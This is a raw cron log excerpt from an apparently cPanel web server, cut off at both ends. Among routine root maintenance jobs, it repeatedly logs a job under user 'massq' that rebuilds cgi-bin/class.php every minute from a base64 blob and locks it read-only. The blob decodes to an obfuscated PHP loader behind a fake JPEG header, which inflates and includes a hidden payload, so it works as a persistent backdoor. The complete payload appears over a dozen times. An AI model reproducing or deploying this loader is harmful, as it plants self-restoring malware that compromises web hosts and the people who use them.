QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:10:01 server CROND[29528]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:10:01 server CROND[29529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:10:01 server CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:10:01 server CROND[29535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:10:01 server CROND[29533]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:10:01 server CROND[29537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:10:01 server CROND[29534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:10:01 server CROND[29539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:11:01 server CROND[30374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:11:01 server CROND[30376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:11:01 server CROND[30375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:12:01 server CROND[30755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:12:01 server CROND[30756]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:12:01 server CROND[30757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:12:01 server CROND[30758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:13:01 server CROND[31236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:13:01 server CROND[31237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:13:01 server CROND[31239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:14:01 server CROND[31619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:14:01 server CROND[31620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:14:01 server CROND[31621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:15:01 server CROND[32018]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:15:01 server CROND[32019]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 00:15:01 server CROND[32020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:15:01 server CROND[32026]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  6 00:15:01 server CROND[32032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:15:01 server CROND[32024]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 00:15:01 server CROND[32030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:15:01 server CROND[32031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:15:01 server CROND[32028]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:15:01 server CROND[32034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:16:01 server CROND[461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:16:01 server CROND[462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:16:01 server CROND[463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:17:01 server CROND[876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:17:01 server CROND[877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:17:01 server CROND[878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:18:01 server CROND[1514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:18:01 server CROND[1516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:18:01 server CROND[1515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:19:01 server CROND[1911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:19:01 server CROND[1912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:19:01 server CROND[1913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:20:01 server CROND[2353]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:20:01 server CROND[2356]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 00:20:01 server CROND[2359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:20:01 server CROND[2357]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 00:20:01 server CROND[2358]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:20:01 server CROND[2360]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 00:20:01 server CROND[2361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:20:01 server CROND[2362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:20:01 server CROND[2363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:21:01 server CROND[3249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 00:21:01 server CROND[3250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUp